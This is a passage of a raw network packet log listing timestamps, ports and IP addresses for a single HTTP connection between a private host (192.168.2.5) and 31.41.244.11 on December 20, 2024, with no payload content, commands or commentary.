Dec 20, 2024 02:11:28.184339046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.184385061 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.184442043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.184978008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.185039043 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.185132980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.185192108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.185667992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.185725927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.185767889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.185834885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.186321974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.186381102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.341985941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.342026949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.342077017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.342143059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.342279911 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.342335939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.342415094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.342473030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.342515945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.342573881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.343137026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.343202114 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.343225956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.343272924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.343832016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.343911886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.343952894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.344011068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.344528913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.344607115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.344638109 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.344696045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.345290899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.345344067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.345376968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.345426083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.345967054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.346020937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.346159935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.346213102 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.346642971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.346693993 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.346724987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.346776009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.347328901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.347379923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.347454071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.347502947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.348035097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.348088026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.348119020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.348165989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.348751068 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.348807096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.348958969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.349008083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.349412918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.349468946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.349469900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.349513054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.350167036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.350224972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.350249052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.350302935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.350816011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.350903988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.350934982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.350975990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.351494074 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.351547956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.351612091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.351660013 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.352185011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.352236032 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.352336884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.352392912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.352890968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.352943897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.353002071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.353051901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.353590012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.353637934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.353686094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.353739977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.354290009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.354341984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.354465008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.354513884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.355000019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.355055094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.355108976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.355155945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.355709076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.355758905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.355933905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.355986118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.356404066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.356463909 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.356548071 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.356599092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.357089043 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.357140064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.357156992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.357204914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.357785940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.357837915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.357927084 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.357975006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.358484983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.358535051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.358570099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.358617067 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.359205008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.359221935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.359265089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.359282017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.359941006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.359957933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.359987974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.360014915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.360632896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.360683918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.360718012 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.360764980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.361289978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.361370087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.361458063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.361507893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.361994028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.362046957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.362082005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.362129927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.362651110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.362705946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.362771034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.362818956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.363353968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.363404036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.363486052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.363534927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.364068985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.364118099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.364188910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.364238977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.364747047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.364797115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.364829063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.364875078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.365454912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.365504026 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.365562916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.365608931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.366146088 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.366197109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.366328955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.366381884 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.366842031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.366895914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.366966963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.367027044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.367553949 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.367599964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.367670059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.367727995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.368320942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.368372917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.368406057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.368448973 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.368956089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.369005919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.369090080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.369137049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.369671106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.369724989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.369822979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.369869947 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.370301008 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.370347977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.370428085 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.370476007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.371061087 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.371110916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.371143103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.371192932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.371757030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.371830940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.371866941 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.371916056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.372435093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.372489929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.372545958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.372608900 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.373130083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.373181105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.373240948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.373287916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.373852968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.373903036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.373966932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.374010086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.374521017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.374568939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.374687910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.374736071 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.375231981 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.375281096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.375648975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.375698090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.375900984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.375969887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.376005888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.376053095 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.376635075 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.376682997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.376713037 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.376760006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.377336025 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.377392054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.377459049 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.377520084 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.378031015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.378093958 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.378123999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.378169060 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.536556005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.536623955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.536751986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.536839962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.536879063 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.536933899 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.536974907 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.537030935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.537547112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.537602901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.537643909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.537709951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.538242102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.538295031 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.538296938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.538343906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.538964987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.539022923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.539066076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.539122105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.539623976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.539697886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.539735079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.539782047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.540332079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.540380001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.540457010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.540505886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.541028023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.541080952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.541130066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.541177988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.541712999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.541760921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.541855097 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.541903019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.542433977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.542486906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.542531967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.542582989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.543112040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.543170929 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.543236017 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.543282986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.543834925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.543889999 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.543932915 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.543987989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.544502020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.544568062 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.544610977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.544663906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.545228958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.545275927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.545281887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.545334101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.545917034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.545964956 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.546009064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.546062946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.546616077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.546672106 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.546730995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.546783924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.547331095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.547411919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.547486067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.547538996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.547991991 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.548047066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.548095942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.548146009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.548731089 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.548785925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.548866034 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.548918962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.549405098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.549462080 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.549495935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.549550056 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.550071955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.550143957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.550214052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.550280094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.550793886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.550847054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.550890923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.550950050 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.551486015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.551537991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.551604986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.551657915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.552175999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.552229881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.552272081 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.552335978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.552896023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.552952051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.552980900 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.553033113 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.553599119 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.553652048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.553689957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.553741932 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.554275036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.554333925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.554377079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.554429054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.554992914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.555049896 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.555102110 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:28.555152893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:28.555676937 CET	80	49875	31.41.244.11	192.168.2.5
